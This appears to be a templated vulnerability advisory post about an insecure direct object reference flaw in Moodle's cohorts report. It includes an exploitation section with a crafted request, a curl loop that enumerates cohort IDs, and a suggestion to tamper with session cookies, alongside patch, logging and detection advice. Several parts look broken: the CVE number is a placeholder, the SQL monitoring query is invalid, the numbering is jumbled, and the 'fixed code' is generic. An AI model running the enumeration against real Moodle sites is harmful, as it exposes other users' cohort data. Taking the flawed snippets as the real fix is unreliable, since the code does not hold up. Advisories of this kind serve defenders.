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How the CVE Works:
The vulnerability (CVE-2025-XXXX) in Moodle arises due to insufficient access control checks in the cohorts report feature. An attacker can exploit this Insecure Direct Object Reference (IDOR) flaw by manipulating request parameters (e.g., cohort IDs) to access unauthorized cohort data. Moodle fails to validate user permissions adequately, allowing unauthorized retrieval of sensitive cohort information. This affects versions before 4.1.18, 4.3.12, 4.4.8, and 4.5.4.
DailyCVE Form:
Platform: Moodle
Version: <4.1.18, 4.3.0-beta to <4.3.12, 4.4.0-beta to <4.4.8, 4.5.0-beta to <4.5.4
Vulnerability: IDOR
Severity: Moderate
Date: Apr 25, 2025
What Undercode Say:
Exploitation:
1. Craft Malicious Request:
GET /cohort/report?id=UNKNOWN_COHORT_ID HTTP/1.1 Host: vulnerable-moodle.com
2. Brute-Force Cohort IDs:
for id in {1..100}; do curl -s "http://vulnerable-moodle.com/cohort/report?id=$id" | grep "Cohort Name"; done
3. Bypass Checks: Modify session cookies or user roles to escalate access.
Protection:
- Patch: Upgrade to Moodle 4.1.18, 4.3.12, 4.4.8, or 4.5.4.
2. Input Validation:
if (!has_capability('moodle/cohort:view', context_system::instance())) {
throw new moodle_exception('accessdenied');
}
3. WAF Rules: Block unexpected cohort ID patterns.
4. Logging: Monitor suspicious access attempts:
SELECT FROM mdl_log WHERE action = 'cohort_view' AND userid NOT IN (authorized_users);
5. Rate Limiting: Restrict excessive requests to `/cohort/report`.
Detection:
- Audit Code:
// Vulnerable code (pre-patch): $cohort = $DB->get_record('cohort', ['id' => $_GET['id']]); // Fixed code (post-patch): require_capability('moodle/cohort:view', context_system::instance()); - Scan Tool: Use static analysis to detect missing permission checks.
References:
- Moodle Patch Commit
- [OWASP IDOR Guide](https://owasp.org/www-community/ vulnerabilities/Insecure_Direct_Object_Reference)
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
